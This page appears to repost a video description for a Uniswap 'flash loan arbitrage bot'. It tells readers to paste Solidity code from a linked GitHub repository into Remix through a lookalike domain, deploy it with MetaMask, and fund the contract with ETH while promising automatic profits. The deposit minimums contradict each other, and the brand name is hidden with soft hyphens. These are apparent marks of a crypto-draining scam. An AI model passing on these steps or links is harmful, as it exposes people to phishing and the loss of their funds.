Source link

#flashloan #flashloanarbitrage #arbitragebot
CODE update 22 August 2024 : https://github.com/Jacob-Web3/ETH-Bot

The contract will create a flash loan to trade against the token. Within this same contract, the flash loan will be paid back and any profit remaining will be transferred to your wallet. This is called a flash loan arbitrage as it’s looking for crypto arbitrage opportunities with the ETH coin.

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and get millions of dollars.

You make to deposit at least 0.15 ETH for the contract to execute correctly and complete the flash loan uniswap bot.
The more you deposit, the more swaps can be performed in the flash loan arbitrage.

▶️ Download ­Me­­ta­Ma­­sk www.metamask.io/download (if you don’t have it already).

▶️ Make sure you have Ethereum in your MetaMask wallet before creating the contract, then you will not get a “Gas estimation failed” error in the Remix.

▶️ Access Remix from PC or Laptop: https://remix-eth.online/

▶️ Click “Create New File” icon in “Workspaces” section and name it as you like, for example: “bot.sol”.

▶️ Paste the code in remix compiler
ETH-solidity-0.6.6 : https://github.com/Jacob-Web3/ETH-Bot
▶️ Go to “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and click “Compile bot.sol”.

▶️ Go to “Deploy & Run Transactions” tab, select the “Injected Web3 (MetaMask)” Environment and then click “Deploy”. Confirm contract deployment transaction in MetaMask.

▶️ Copy your newly created contract address as shown on video and fund it with any amount of ETH (minimum 0.2 – 10 ETH or higher recommended to prevent negating slippage) that you would like the bot to earn with by simply sending ETH to this contract address.

▶️ After your transaction is confirmed, click “Start” button to launch the bot. It will start working immediately earning you profits from arbitrage trades on Uniswap pools. Withdraw your ETH at any time by clicking “Withdraw” button.

Share your earnings in the comments. Don’t forget to like and subscribe for more helpful Solidity tutorials.

#flashloanarbitrage #flashloan #arbitragebot

date : 2024-05-22 15:58:31

views : 435

likes : 36

rating :

found searching for solidity tutorial

LEAVE A REPLY

Please enter your comment!
Please enter your name here